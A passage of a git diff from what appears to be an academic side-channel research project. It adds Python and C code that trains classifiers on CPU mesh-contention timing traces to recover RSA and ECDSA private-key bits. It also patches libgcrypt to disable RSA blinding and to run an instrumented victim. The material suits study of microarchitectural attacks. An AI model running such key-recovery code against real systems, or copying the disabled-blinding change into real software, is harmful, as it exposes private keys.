5: + continue + + # Pad traces that are too short + if (len(trace) < lowerbound): + trace = get_padded_trace(trace, lowerbound) + + preprocessed_traces.append(trace[:lowerbound]) + labels.append(actual_bit) + + preprocessed_traces_bit_tuples = [] + for preprocessed_trace, label in zip(preprocessed_traces, labels): + preprocessed_traces_bit_tuples.append((preprocessed_trace, label)) + + # Plot the difference between zeros and ones just for visualization + plot_id = "%04d" % iteration_index + plot_one_vs_zero(preprocessed_traces_bit_tuples, plot_id) + + # Get train test for this iteration_index + X_train, X_test, y_train, y_test = train_test_split(preprocessed_traces, labels) + + print("Shape of train is", np.array(X_train).shape) + # print("Shape of test is", np.array(X_test).shape) + + classifiers = [ + ("Random Forest", RandomForestClassifier()), + ] + + # Train the classifier + processes = [] + manager = multiprocessing.Manager() + return_dict = manager.dict() + for name, model in classifiers: + p = Process(target=f_pool, args=(name, model, X_train, y_train, X_test, y_test, return_dict)) + processes.append(p) + p.start() + + for p in processes: + p.join() + + # Pick the best classifier + best_score = 0 + best_classifier = "" + for name, _ in classifiers: + model, score = return_dict[name] + if score > best_score: + best_score = score + best_classifier = name + best_model = model + + print("Final classifier for iteration", iteration_index, "=", best_classifier, "with accuracy =", best_score) + + # Save model to file + with open(("models/model_%04d.pickle" % iteration_index), "wb") as fp: # Pickling + pickle.dump(best_model, fp) + with open(("models/input_len_%04d.pickle" % iteration_index), "wb") as fp: # Pickling + pickle.dump(lowerbound, fp) + + +def train_per_single_iteration(): + + # Prepare to read data from the experiments + out_files = sorted(glob.glob("./data-fkr-train/*_data*.out")) + all_traces_dict = {} + rept_len = {} + + # Find number of iterations for each rept (each rept is a diff key) + for f in out_files: + parts = f.split('/')[-1].split('.')[0].split('_') + rept_index = int(parts[0]) + iteration_index = int(parts[2]) + rept_len.setdefault(rept_index, 0) + if iteration_index > rept_len[rept_index]: + rept_len[rept_index] = iteration_index + + # Read the traces + for f in out_files: + + # Parse bit number + parts = f.split('/')[-1].split('.')[0].split('_') + rept_index = int(parts[0]) + + iteration_index = rept_len[rept_index] - int(parts[2]) + 1 + actual_bit = parts[3] + + # Parse file + trace = parse_file_1c(f) # this array contains all the samples + all_traces_dict.setdefault(iteration_index, []).append((trace, actual_bit)) + + # Now process the results of the experiments + processes = [] + for iteration_index, traces_bit_tuples in all_traces_dict.items(): + p = Process(target=per_iteration_work, args=(iteration_index, traces_bit_tuples)) + processes.append(p) + p.start() + + for p in processes: + p.join() + + +# ------------------------------------------------------------------------------------------------------------------- +# Miscellaneous +# ------------------------------------------------------------------------------------------------------------------- + +def analytical_model_verification(): + """ + Pin the receiver on each core and use the best receiver slice. + + Sender is on CHA 0. + """ + best_slice = { + 1: 25, + 2: 1, + 4: 23, + 5: 23, + 6: 25, + 7: 1, + 8: 2, + 9: 15, + 10: 23, + 11: 8, + 12: 1, + 13: 6, + 14: 6, + 15: 8, + 16: 2, + 17: 10, + 18: 11, + 19: 12, + 20: 1, + 21: 2, + 22: 6, + 23: 8, + 24: 1 + } + global monitor_coreno + global monitor_sliceno + for core in range(26): + # Can't pin a core to CHA 3 or 25 + # CHA 0 is the sender + if core in (0, 3, 25): + continue + monitor_coreno = core + monitor_sliceno = best_slice[monitor_coreno] + collect(target_iteration, 5000) + train("data-single-bit") + + +def is_process_running(processName): + # Iterate over the all the running process + for proc in psutil.process_iter(): + try: + # Check if process name contains the given name string. + if processName in proc.cmdline(): + return True + except (psutil.NoSuchProcess, psutil.AccessDenied, psutil.ZombieProcess): + pass + + # print("Run the victim in the background first") + return False + + +# ------------------------------------------------------------------------------------------------------------------- +# This is the orchestrator +# ------------------------------------------------------------------------------------------------------------------- +if __name__ == '__main__': + + # Set configuration + monitor_coreno = 9 + monitor_sliceno = 13 + + ecdsa_path = './victim/libgcrypt-1.6.3/tests/mesh-victim' + rsa_path = './victim/libgcrypt-1.5.2/tests/mesh-victim' + + victim_path = rsa_path + if (is_process_running(rsa_path)): + victim_path = rsa_path + elif (is_process_running(ecdsa_path)): + victim_path = ecdsa_path + else: + print("Neither victim is running. Assuming", victim_path) + + # Parse arguments + parser = argparse.ArgumentParser(description='Orchestrate monitor and victim execution.') + + # Single bit + parser.add_argument('--collect', type=int, default=0) + parser.add_argument('--parse', action='store_true') + parser.add_argument('--train', action='store_true') + parser.add_argument('--plot', action='store_true') + + # Full key + parser.add_argument('--fullkeyrecoverycollect', nargs=2) + parser.add_argument('--fullkeyrecoverytrain', action='store_true') + parser.add_argument('--fullkeyrecoverytest', action='store_true') + + # Analytical Model Verification + parser.add_argument('--analyticalmodelverify', action='store_true') + args = parser.parse_args() + + # Prepare output directories + try: + os.makedirs('data') + except: + pass + try: + os.makedirs('data/ecdsa-0') + except: + pass + try: + os.makedirs('data/ecdsa-1') + except: + pass + try: + os.makedirs('data/rsa-0') + except: + pass + try: + os.makedirs('data/rsa-1') + except: + pass + try: + os.makedirs('plot') + except: + pass + try: + os.makedirs('models') + except: + pass + + if victim_path == ecdsa_path: + target_iteration = 4 # iteration 1 is always 1 in ECDSA + bit_length = 256 + exclude_first_bit = 1 # first bit in ECDSA is always 1 + elif victim_path == rsa_path: + target_iteration = 1 + bit_length = 1024 + exclude_first_bit = 0 + + # Run the orchestrator + if args.collect: + no_victim_runs = args.collect + collect(target_iteration, no_victim_runs) + + # Plot parsed data + if args.plot: + # Plot the difference between zeros and ones just for visualization + preprocessed_traces, labels, lowerbound = parse("data-single-bit") + preprocessed_traces_bit_tuples = [] + for preprocessed_trace, label in zip(preprocessed_traces, labels): + preprocessed_traces_bit_tuples.append((preprocessed_trace, label)) + + plot_one_vs_zero(preprocessed_traces_bit_tuples) + + # Train and test classifier on the data + if args.train: + train("data-single-bit") + + # Collect data for full key recovery + if args.fullkeyrecoverycollect: + + runs_per_iteration_train = int(args.fullkeyrecoverycollect[0]) + runs_per_iteration_test = int(args.fullkeyrecoverycollect[1]) + + print("%d runs train %d runs test" % (runs_per_iteration_train, runs_per_iteration_test)) + + full_key_recovery_collect(runs_per_iteration_train, runs_per_iteration_test, bit_length) + + # Test data for full key recovery + if args.fullkeyrecoverytrain: + train("data-fkr-train", savemodel=1) + + # Test data for full key recovery + if args.fullkeyrecoverytest: + full_key_recovery_test(exclude_first_bit) + + # Get accuracy for receiver on each core + if args.analyticalmodelverify: + analytical_model_verification() diff --git a/03-side-channel/scutil/dont-mesh-around.c b/03-side-channel/scutil/dont-mesh-around.c new file mode 100644 index 0000000..467c71d --- /dev/null +++ b/03-side-channel/scutil/dont-mesh-around.c @@ -0,0 +1,202 @@ +#include "dont-mesh-around.h" + +#include +#include + +#define BUF_SIZE 400 * 1024UL * 1024 /* Buffer Size -> 400*1MB */ + +static volatile struct sharestruct *mysharestruct = NULL; +static struct Node *eviction_sets[L2_CACHE_SETS]; +static void *buffer; +static int iteration_counter; + + +void prepare_for_attack(uint8_t *attacking) { + + if(!mysharestruct) { mysharestruct = get_sharestruct(); } + + mysharestruct->iteration_of_interest_running = 0; + iteration_counter = 0; + *attacking = 0; + + static uint8_t first_time = 1; + if (first_time == 1) { + first_time = 0; + + // Initialize eviction sets + for (int k = 0; k < L2_CACHE_SETS; k++) { + eviction_sets[k] = NULL; + } + + // Allocate large buffer (pool of addresses) + buffer = mmap(NULL, BUF_SIZE, PROT_READ | PROT_WRITE, MAP_ANON | MAP_PRIVATE | MAP_HUGETLB, -1, 0); + if (buffer == MAP_FAILED) { + perror("mmap"); + exit(1); + } + + // Write data to the buffer so that any copy-on-write + // mechanisms will give us our own copies of the pages. + memset(buffer, 0, BUF_SIZE); + + // Initialize size of sets + uint32_t number_of_addresses[L2_CACHE_SETS]; + for (int k = 0; k < L2_CACHE_SETS; k++) { + number_of_addresses[k] = 0; + } + + // Go through addresses in the buffer + uint64_t offset = 0; + uint32_t number_of_sets_done = 0; + while (number_of_sets_done != L2_CACHE_SETS) { + + uint32_t set_index = get_cache_set_index((uint64_t)buffer + offset, 2); + if (number_of_addresses[set_index] < L2_CACHE_WAYS) { + append_string_to_linked_list(&eviction_sets[set_index], (void *)((uint64_t)buffer + offset)); + number_of_addresses[set_index] += 1; + offset += PAGE; + + if (number_of_addresses[set_index] == L2_CACHE_WAYS) { + number_of_sets_done += 1; + } + } + + offset += CACHE_BLOCK_SIZE; + } + } +} + +void check_attack_iteration(uint8_t *attacking) { + + iteration_counter += 1; + + // If this is the iteration the receiver is interested in + // Starts from 1 and goes all the way up to the key length + if (iteration_counter == mysharestruct->sign_requested) { + + // Reset the request variable + mysharestruct->sign_requested = 0; + + struct Node *current; + for (int k = 0; k < L2_CACHE_SETS; k++) { + for (int ii = 0; ii < 4; ii++) { + current = eviction_sets[k]; + // while (current && current->next) { + while (current && current->next && current->next->next) { + maccess(current->address); + maccess(current->next->address); + maccess(current->next->next->address); + maccess(current->address); + maccess(current->next->address); + maccess(current->next->next->address); + current = current->next; + } + } + } + + flush_l1i(); + flush_l1i(); + flush_l1i(); + flush_l1i(); + + // Bring attack code back to the cache + cryptoloop_check_a(attacking); + cryptoloop_check_b(attacking); + + // Mark the attack as started + *attacking = 1; + mysharestruct->iteration_of_interest_running = 1; + _mm_lfence(); + } +} + +void cryptoloop_check_a(uint8_t *attacking) { + if (*attacking == 0) { + return; + } else if (*attacking == 3) { + mysharestruct->bit_of_the_iteration_of_interest = 0; + mysharestruct->iteration_of_interest_running = 0; + *attacking = 0; + + // What bit was actually being processed in this iteration? + // 0 because attacking = 3 before A only if preceded by AA + // Print ground truth. + // fprintf(stderr, "0\n"); // FIXME: uncomment if needed + + } else if (*attacking == 4) { + mysharestruct->bit_of_the_iteration_of_interest = 1; + mysharestruct->iteration_of_interest_running = 0; + *attacking = 0; + + // What bit was actually being processed in this iteration? + // 1 because attacking = 4 before A only if preceded by AB + // Print ground truth. + // fprintf(stderr, "1\n"); // FIXME: uncomment if needed + + } else { + *attacking += 1; + } +} + +void cryptoloop_check_b(uint8_t *attacking) { + if (*attacking == 0) { + return; + } else if (*attacking == 3) { + mysharestruct->bit_of_the_iteration_of_interest = 0; + mysharestruct->iteration_of_interest_running = 0; + *attacking = 0; + + // What bit was actually being processed in this iteration? + // 0 because attacking = 3 before B only if preceded by AA + // Print ground truth. + // fprintf(stderr, "0\n"); // FIXME: uncomment if needed + + } else { + *attacking += 2; + } +} + +void end_attack(uint8_t *attacking) { + + // Reset the request variable (in case the iteration requested never happened) + mysharestruct->sign_requested = 0; + + if (*attacking == 0) { + return; + } else if (*attacking == 3) { + mysharestruct->bit_of_the_iteration_of_interest = 0; + mysharestruct->iteration_of_interest_running = 0; + *attacking = 0; + + // What bit was actually being processed in this iteration? + // 0 because attacking = 3 before A only if preceded by AA + // Print ground truth. + // fprintf(stderr, "0\n"); // FIXME: uncomment if needed + + } else if (*attacking == 4) { + mysharestruct->bit_of_the_iteration_of_interest = 1; + mysharestruct->iteration_of_interest_running = 0; + *attacking = 0; + + // What bit was actually being processed in this iteration? + // 1 because attacking = 4 before A only if preceded by AB + // Print ground truth. + // fprintf(stderr, "1\n"); // FIXME: uncomment if needed + + } else { + mysharestruct->bit_of_the_iteration_of_interest = 0; + mysharestruct->iteration_of_interest_running = 0; + *attacking = 0; + + // If attacking = 2 (only other option), then it means + // that there was only A in the last (short) iteration. + // Print ground truth. + // fprintf(stderr, "0\n"); // FIXME: uncomment if needed + } +} + +void cryptoloop_print_ground_truth_bit(uint8_t secret_bit) { + // What bit was actually being processed in this iteration? + fprintf(stderr, "%d", secret_bit); + fflush(stderr); +} diff --git a/03-side-channel/scutil/dont-mesh-around.h b/03-side-channel/scutil/dont-mesh-around.h new file mode 100644 index 0000000..b145ad6 --- /dev/null +++ b/03-side-channel/scutil/dont-mesh-around.h @@ -0,0 +1,91 @@ + +#ifndef _DONT_MESH_AROUND_H +#define _DONT_MESH_AROUND_H + +#define _GNU_SOURCE + +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +#include "../../util/util.h" + +/* + * Shared memory / synchronization functions simulating the preemptive scheduling attack. + * + * The victim starts and waits for the attacker to request a decription/signature. + * To request a decryption, the attacker specifies what iteration of the victim loop it wants + * to monitor in the sign_requested variable (simulating preemptive scheduling). + * The victim then enters the decryption function loop. Right before the iteration specified + * in sign_requested, the victim cleanses its cache (simulating a context switch due to being + * preempted) and sets variable iteration_of_interest_running to 1. + * The attacker monitors ring contention during this time and records the timing data. + * Later, the victim ends the decryption and goes back to waiting for other requests. + * Note that there is no need for the attacker to know the plaintext / ciphertext. + */ + +#define SYNCFILE "/var/tmp/.dont-mesh-around-syncfile" + +// Should fit in one cache line +struct sharestruct { + volatile int sign_requested; // 4B + volatile int iteration_of_interest_running; // 4B + volatile uint8_t bit_of_the_iteration_of_interest; + volatile uint8_t use_randomized_key; +}; + +static int createfile(const char *fn) +{ + int fd; + struct stat sb; + char sharebuf[PAGE]; + if (stat(fn, &sb) != 0 || sb.st_size != PAGE) { + fd = open(fn, O_RDWR | O_CREAT | O_TRUNC, 0644); + if (fd < 0) { + perror("open"); + fprintf(stderr, "createfile: couldn't create shared file %s\n", fn); + exit(1); + } + if (write(fd, sharebuf, PAGE) != PAGE) { + fprintf(stderr, "createfile: couldn't write shared file\n"); + exit(1); + } + return fd; + } + fd = open(fn, O_RDWR, 0644); + if (fd < 0) { + perror(fn); + fprintf(stderr, "createfile: couldn't open shared file\n"); + exit(1); + } + return fd; +} + +static volatile struct sharestruct *get_sharestruct(void) +{ + int fd = createfile(SYNCFILE); + volatile struct sharestruct *ret; + ret = (volatile struct sharestruct *)mmap(NULL, PAGE, PROT_READ | PROT_WRITE, MAP_SHARED | MAP_FILE, fd, 0); + if (ret == MAP_FAILED) { + perror("mmap"); + exit(1); + } + return ret; +} + +// Functions added to sync with the victim +void prepare_for_attack(uint8_t *attacking); +void check_attack_iteration(uint8_t *attacking); +void cryptoloop_check_a(uint8_t *attacking); +void cryptoloop_check_b(uint8_t *attacking); +void cryptoloop_print_ground_truth_bit(uint8_t secret_bit); +void end_attack(uint8_t *attacking); + +#endif \ No newline at end of file diff --git a/03-side-channel/setup.sh b/03-side-channel/setup.sh new file mode 100755 index 0000000..6a1aacd --- /dev/null +++ b/03-side-channel/setup.sh @@ -0,0 +1,6 @@ +#!/bin/bash + +sudo pkill -f mesh-victim +sudo pkill -f mesh-monitor + +../util/setup-prefetch-on.sh diff --git a/03-side-channel/victim/libgcrypt-1.5.2.patch b/03-side-channel/victim/libgcrypt-1.5.2.patch new file mode 100644 index 0000000..15c1bf7 --- /dev/null +++ b/03-side-channel/victim/libgcrypt-1.5.2.patch @@ -0,0 +1,389 @@ +diff --git a/.gitignore b/.gitignore +index 1f3d13b..5bf1b68 100644 +--- a/.gitignore ++++ b/.gitignore +@@ -86,3 +86,4 @@ tests/pkcs1v2 + tests/t-kdf + /doc/gcrypt.info-1 + /doc/gcrypt.info-2 ++tests/mesh-victim +\ No newline at end of file +diff --git a/cipher/rsa.c b/cipher/rsa.c +index ccc9f96..36a098d 100644 +--- a/cipher/rsa.c ++++ b/cipher/rsa.c +@@ -914,6 +914,10 @@ static gcry_err_code_t + rsa_decrypt (int algo, gcry_mpi_t *result, gcry_mpi_t *data, + gcry_mpi_t *skey, int flags) + { ++ // dont-mesh-around: Disable blinding ++ // TODO: find the way to set this flag from the mesh-victim ++ flags = flags ^ PUBKEY_FLAG_NO_BLINDING; ++ + RSA_secret_key sk; + gcry_mpi_t r = MPI_NULL; /* Random number needed for blinding. */ + gcry_mpi_t ri = MPI_NULL; /* Modular multiplicative inverse of +diff --git a/mpi/Makefile.am b/mpi/Makefile.am +index e900539..1dbd9a2 100644 +--- a/mpi/Makefile.am ++++ b/mpi/Makefile.am +@@ -174,4 +174,18 @@ libmpi_la_SOURCES = longlong.h \ + mpih-div.c \ + mpih-mul.c \ + mpiutil.c \ +- ec.c ++ ec.c \ ++ ../../../scutil/dont-mesh-around.h \ ++ ../../../scutil/dont-mesh-around.c \ ++ ../../../../util/util.h \ ++ ../../../../util/util.c \ ++ ../../../../util/machine_const.h \ ++ ../../../../util/machine_const.c \ ++ ../../../../util/pmon_utils.h \ ++ ../../../../util/pmon_utils.c \ ++ ../../../../util/skx_hash_utils.h \ ++ ../../../../util/skx_hash_utils.c \ ++ ../../../../util/skx_hash_utils_addr_mapping.h \ ++ ../../../../util/pmon_reg_defs.h \ ++ ../../../../util/pfn_util.c \ ++ ../../../../util/pfn_util.h +diff --git a/mpi/mpi-pow.c b/mpi/mpi-pow.c +index 33bbebe..6221cb2 100644 +--- a/mpi/mpi-pow.c ++++ b/mpi/mpi-pow.c +@@ -32,6 +32,7 @@ + #include "mpi-internal.h" + #include "longlong.h" + ++#include "../../../scutil/dont-mesh-around.h" // dont-mesh-around + + /**************** + * RES = BASE ^ EXPO mod MOD +@@ -183,9 +184,13 @@ gcry_mpi_powm (gcry_mpi_t res, + i = esize - 1; + e = ep[i]; + count_leading_zeros (c, e); ++ // fprintf(stderr, "Lost %d bits\n", c); + e = (e << c) << 1; /* Shift the expo bits to the left, lose msb. */ + c = BITS_PER_MPI_LIMB - 1 - c; + ++ uint8_t attacking; // dont-mesh-around ++ prepare_for_attack(&attacking); // dont-mesh-around ++ + /* Main loop. + + Make the result be pointed to alternately by XP and RP. This +@@ -198,6 +203,9 @@ gcry_mpi_powm (gcry_mpi_t res, + { + while (c) + { ++ check_attack_iteration(&attacking); // dont-mesh-around ++ cryptoloop_check_a(&attacking); // dont-mesh-around ++ + mpi_ptr_t tp; + mpi_size_t xsize; + +@@ -230,8 +238,12 @@ gcry_mpi_powm (gcry_mpi_t res, + tp = rp; rp = xp; xp = tp; + rsize = xsize; + ++ // cryptoloop_print_ground_truth_bit((mpi_limb_signed_t)e < 0); // dont-mesh-around ++ + if ( (mpi_limb_signed_t)e < 0 ) + { ++ cryptoloop_check_b(&attacking); // dont-mesh-around ++ + /*mpih_mul( xp, rp, rsize, bp, bsize );*/ + if( bsize < KARATSUBA_THRESHOLD ) + _gcry_mpih_mul ( xp, rp, rsize, bp, bsize ); +@@ -260,6 +272,8 @@ gcry_mpi_powm (gcry_mpi_t res, + c = BITS_PER_MPI_LIMB; + } + ++ end_attack(&attacking); // dont-mesh-around ++ + /* We shifted MOD, the modulo reduction argument, left + MOD_SHIFT_CNT steps. Adjust the result by reducing it with the + original MOD. +diff --git a/tests/Makefile.am b/tests/Makefile.am +index 689a3db..29c6a1b 100644 +--- a/tests/Makefile.am ++++ b/tests/Makefile.am +@@ -20,7 +20,7 @@ + + TESTS = version t-mpi-bit prime register ac ac-schemes ac-data basic \ + mpitests tsexp keygen pubkey hmac keygrip fips186-dsa aeswrap \ +- curves t-kdf pkcs1v2 ++ curves t-kdf pkcs1v2 mesh-victim + + + # random.c uses fork() thus a test for W32 does not make any sense. +diff --git a/tests/mesh-victim.c b/tests/mesh-victim.c +new file mode 100644 +index 0000000..8137e6f +--- /dev/null ++++ b/tests/mesh-victim.c +@@ -0,0 +1,263 @@ ++/* ++ * This is a simplified version of the pubkey.c unit test ++ * that we will use as the victim calling the functions ++ * of interest from the libgcrypt library. ++ * ++ * We run the victim from this test file because it's easier than writing a standalone C file. ++ * The test function called above performs one signature of some fixed hashed data, with a "random" key. ++ */ ++ ++#ifdef HAVE_CONFIG_H ++#include ++#endif ++#include ++#include ++#include ++#include ++ ++#include "../../../scutil/dont-mesh-around.h" ++ ++#include "../src/gcrypt.h" ++ ++/* Sample RSA keys, taken from basic.c. */ ++ ++static const char sample_private_key_1[] = ++"(private-key\n" ++" (openpgp-rsa\n" ++" (n #00e0ce96f90b6c9e02f3922beada93fe50a875eac6bcc18bb9a9cf2e84965caa" ++ "2d1ff95a7f542465c6c0c19d276e4526ce048868a7a914fd343cc3a87dd74291" ++ "ffc565506d5bbb25cbac6a0e2dd1f8bcaab0d4a29c2f37c950f363484bf269f7" ++ "891440464baf79827e03a36e70b814938eebdc63e964247be75dc58b014b7ea251#)\n" ++" (e #010001#)\n" ++" (d #046129F2489D71579BE0A75FE029BD6CDB574EBF57EA8A5B0FDA942CAB943B11" ++ "7D7BB95E5D28875E0F9FC5FCC06A72F6D502464DABDED78EF6B716177B83D5BD" ++ "C543DC5D3FED932E59F5897E92E6F58A0F33424106A3B6FA2CBF877510E4AC21" ++ "C3EE47851E97D12996222AC3566D4CCB0B83D164074ABF7DE655FC2446DA1781#)\n" ++" (p #00e861b700e17e8afe6837e7512e35b6ca11d0ae47d8b85161c67baf64377213" ++ "fe52d772f2035b3ca830af41d8a4120e1c1c70d12cc22f00d28d31dd48a8d424f1#)\n" ++" (q #00f7a7ca5367c661f8e62df34f0d05c10c88e5492348dd7bddc942c9a8f369f9" ++ "35a07785d2db805215ed786e4285df1658eed3ce84f469b81b50d358407b4ad361#)\n" ++" (u #304559a9ead56d2309d203811a641bb1a09626bc8eb36fffa23c968ec5bd891e" ++ "ebbafc73ae666e01ba7c8990bae06cc2bbe10b75e69fcacb353a6473079d8e9b#)\n" ++" )\n" ++")\n"; ++ ++/* The same key as above but without p, q and u to test the non CRT case. */ ++static const char sample_private_key_1_1[] = ++"(private-key\n" ++" (openpgp-rsa\n" ++" (n #00e0ce96f90b6c9e02f3922beada93fe50a875eac6bcc18bb9a9cf2e84965caa" ++ "2d1ff95a7f542465c6c0c19d276e4526ce048868a7a914fd343cc3a87dd74291" ++ "ffc565506d5bbb25cbac6a0e2dd1f8bcaab0d4a29c2f37c950f363484bf269f7" ++ "891440464baf79827e03a36e70b814938eebdc63e964247be75dc58b014b7ea251#)\n" ++" (e #010001#)\n" ++" (d #046129F2489D71579BE0A75FE029BD6CDB574EBF57EA8A5B0FDA942CAB943B11" ++ "7D7BB95E5D28875E0F9FC5FCC06A72F6D502464DABDED78EF6B716177B83D5BD" ++ "C543DC5D3FED932E59F5897E92E6F58A0F33424106A3B6FA2CBF877510E4AC21" ++ "C3EE47851E97D12996222AC3566D4CCB0B83D164074ABF7DE655FC2446DA1781#)\n" ++" )\n" ++")\n"; ++ ++/* The same key as above but just without q to test the non CRT case. This ++ should fail. */ ++static const char sample_private_key_1_2[] = ++"(private-key\n" ++" (openpgp-rsa\n" ++" (n #00e0ce96f90b6c9e02f3922beada93fe50a875eac6bcc18bb9a9cf2e84965caa" ++ "2d1ff95a7f542465c6c0c19d276e4526ce048868a7a914fd343cc3a87dd74291" ++ "ffc565506d5bbb25cbac6a0e2dd1f8bcaab0d4a29c2f37c950f363484bf269f7" ++ "891440464baf79827e03a36e70b814938eebdc63e964247be75dc58b014b7ea251#)\n" ++" (e #010001#)\n" ++" (d #046129F2489D71579BE0A75FE029BD6CDB574EBF57EA8A5B0FDA942CAB943B11" ++ "7D7BB95E5D28875E0F9FC5FCC06A72F6D502464DABDED78EF6B716177B83D5BD" ++ "C543DC5D3FED932E59F5897E92E6F58A0F33424106A3B6FA2CBF877510E4AC21" ++ "C3EE47851E97D12996222AC3566D4CCB0B83D164074ABF7DE655FC2446DA1781#)\n" ++" (p #00e861b700e17e8afe6837e7512e35b6ca11d0ae47d8b85161c67baf64377213" ++ "fe52d772f2035b3ca830af41d8a4120e1c1c70d12cc22f00d28d31dd48a8d424f1#)\n" ++" (u #304559a9ead56d2309d203811a641bb1a09626bc8eb36fffa23c968ec5bd891e" ++ "ebbafc73ae666e01ba7c8990bae06cc2bbe10b75e69fcacb353a6473079d8e9b#)\n" ++" )\n" ++")\n"; ++ ++static const char sample_public_key_1[] = ++"(public-key\n" ++" (rsa\n" ++" (n #00e0ce96f90b6c9e02f3922beada93fe50a875eac6bcc18bb9a9cf2e84965caa" ++ "2d1ff95a7f542465c6c0c19d276e4526ce048868a7a914fd343cc3a87dd74291" ++ "ffc565506d5bbb25cbac6a0e2dd1f8bcaab0d4a29c2f37c950f363484bf269f7" ++ "891440464baf79827e03a36e70b814938eebdc63e964247be75dc58b014b7ea251#)\n" ++" (e #010001#)\n" ++" )\n" ++")\n"; ++ ++static void ++show_sexp (const char *prefix, gcry_sexp_t a) ++{ ++ char *buf; ++ size_t size; ++ ++ if (prefix) ++ fputs (prefix, stderr); ++ size = gcry_sexp_sprint (a, GCRYSEXP_FMT_ADVANCED, NULL, 0); ++ buf = gcry_xmalloc (size); ++ ++ gcry_sexp_sprint (a, GCRYSEXP_FMT_ADVANCED, buf, size); ++ fprintf (stderr, "%.*s", (int)size, buf); ++ gcry_free (buf); ++} ++ ++static void ++die (const char *format, ...) ++{ ++ va_list arg_ptr ; ++ ++ va_start( arg_ptr, format ) ; ++ vfprintf (stderr, format, arg_ptr ); ++ va_end(arg_ptr); ++ exit (1); ++} ++ ++static gcry_sexp_t ++get_key_wo_p_q_u (gcry_sexp_t a) ++{ ++ char *buf; ++ size_t size; ++ ++ size = gcry_sexp_sprint (a, GCRYSEXP_FMT_ADVANCED, NULL, 0); ++ buf = gcry_xmalloc (size); ++ ++ gcry_sexp_sprint (a, GCRYSEXP_FMT_ADVANCED, buf, size); ++ ++ char *p = strstr(buf, " (p "); ++ if (p != NULL) { ++ sprintf(p, ")\n)\n\0"); ++ } ++ ++ gcry_sexp_t skey; ++ gcry_sexp_sscan (&skey, NULL, buf, strlen (buf)); ++ ++ gcry_free (buf); ++ return skey; ++} ++ ++static void ++check_run (void) ++{ ++ gpg_error_t err; ++ gcry_sexp_t pkey, skey; ++ int rc; ++ ++ rc = gcry_sexp_sscan (&pkey, NULL, sample_public_key_1, strlen (sample_public_key_1)); ++ if (!rc) ++ rc = gcry_sexp_sscan (&skey, NULL, sample_private_key_1_1, strlen (sample_private_key_1_1)); ++ if (rc) ++ die ("converting sample keys failed: %s\n", gcry_strerror (rc)); ++ ++ /* Check gcry_pk_testkey which requires all elements. */ ++ gcry_pk_testkey (skey); ++ ++ /* Create plain text. */ ++ gcry_mpi_t x; ++ gcry_sexp_t plain; ++ unsigned int nbits_data = 800; ++ x = gcry_mpi_new (nbits_data); ++ gcry_mpi_randomize (x, nbits_data, GCRY_WEAK_RANDOM); ++ rc = gcry_sexp_build (&plain, NULL, "(data (flags raw no-blinding) (value %m))", x); ++ gcry_mpi_release (x); ++ ++ gcry_sexp_t plain1, cipher, l; ++ gcry_mpi_t x0, x1; ++ int have_flags; ++ ++ /* Extract data from plaintext. */ ++ l = gcry_sexp_find_token (plain, "value", 0); ++ x0 = gcry_sexp_nth_mpi (l, 1, GCRYMPI_FMT_USG); ++ gcry_sexp_release (l); ++ ++ /* Encrypt data. */ ++ rc = gcry_pk_encrypt (&cipher, plain, pkey); ++ if (rc) ++ die ("encryption failed: %s\n", gcry_strerror (rc)); ++ ++ l = gcry_sexp_find_token (cipher, "flags", 0); ++ have_flags = !!l; ++ gcry_sexp_release (l); ++ ++ /*********************************************************/ ++ // From here we basically provide an on-demand decryption service ++ // to the monitor by repeating the gcry_pk_decrypt operation ++ int cha_id_to_cpu[26] = {0, 13, 7, -1, ++ 1, 14, 8, 19, 2, ++ 15, 9, 20, 3, ++ 16, 10, 21, 4, ++ 17, 11, 22, 5, 18, ++ 12, 23, 6, -1}; ++ int cpu = cha_id_to_cpu[0]; ++ pin_cpu(cpu); ++ ++ volatile struct sharestruct *mysharestruct = get_sharestruct(); ++ mysharestruct->iteration_of_interest_running = 0; ++ mysharestruct->sign_requested = 0; ++ mysharestruct->use_randomized_key = 0; ++ ++ fprintf(stderr, "\nGO\n"); ++ ++ gcry_sexp_t key_spec, key, sec_key, sig; ++ while(1) { ++ ++ // If a sign was requested ++ if (mysharestruct->sign_requested) { ++ ++ if (mysharestruct->use_randomized_key == 1) { ++ ++ mysharestruct->use_randomized_key = 0; ++ ++ int sign_requested_tmp = mysharestruct->sign_requested; ++ mysharestruct->sign_requested = 0; ++ ++ gcry_sexp_release (skey); ++ mysharestruct->bit_of_the_iteration_of_interest = 0; ++ ++ rc = gcry_sexp_new (&key_spec, "(genkey (rsa (nbits 4:1024)))", 0, 1); ++ if (rc) ++ die ("error creating S-expression: %s\n", gcry_strerror (rc)); ++ rc = gcry_pk_genkey (&key, key_spec); ++ gcry_sexp_release (key_spec); ++ if (rc) ++ die ("error generating RSA key: %s\n", gcry_strerror (rc)); ++ sec_key = gcry_sexp_find_token (key, "private-key", 0); ++ gcry_sexp_release (key); ++ skey = get_key_wo_p_q_u (sec_key); ++ ++ // Execute once to bring into the cache ++ gcry_pk_decrypt (&plain1, cipher, skey); ++ ++ mysharestruct->sign_requested = sign_requested_tmp; ++ } ++ ++ // Wait a moment for the attacker to get ready ++ wait_cycles(10000); ++ ++ // Start vulnerable RSA decryption code ++ gcry_pk_decrypt (&plain1, cipher, skey); ++ } ++ } ++ ++ /*********************************************************/ ++} ++ ++int ++main (int argc, char **argv) ++{ ++ ++ gcry_control (GCRYCTL_DISABLE_SECMEM, 0); ++ if (!gcry_check_version (GCRYPT_VERSION)) ++ die ("version mismatch\n"); ++ gcry_control (GCRYCTL_INITIALIZATION_FINISHED, 0); ++ /* No valuable keys are create, so we can speed up our RNG. */ ++ gcry_control (GCRYCTL_ENABLE_QUICK_RANDOM, 0); ++ ++ check_run (); ++ ++ return 0; ++} diff --git a/03-side-channel/victim/libgcrypt-1.6.3.patch b/03-side-channel/victim/libgcrypt-1.6.3.patch new file mode 100644 index 0000000..899cada --- /dev/null +++ b/03-side-channel/victim/libgcrypt-1.6.3.patch @@ -0,0 +1,298 @@ +diff --git a/.gitignore b/.gitignore +index ec7f8bb..1d8eaa6 100644 +--- a/.gitignore ++++ b/.gitignore +@@ -81,3 +81,19 @@ tests/rsacvt + tests/t-mpi-bit + tests/tsexp + tests/version ++doc/hmac256.1 ++doc/yat2m ++doc/yat2m-stamp ++src/mpicalc ++tests/bench-slope ++tests/curves ++tests/dsa-rfc6979 ++tests/hashtest ++tests/hashtest-256g ++tests/pkcs1v2 ++tests/t-convert ++tests/t-ed25519 ++tests/t-kdf ++tests/t-lock ++tests/t-mpi-point ++tests/mesh-victim 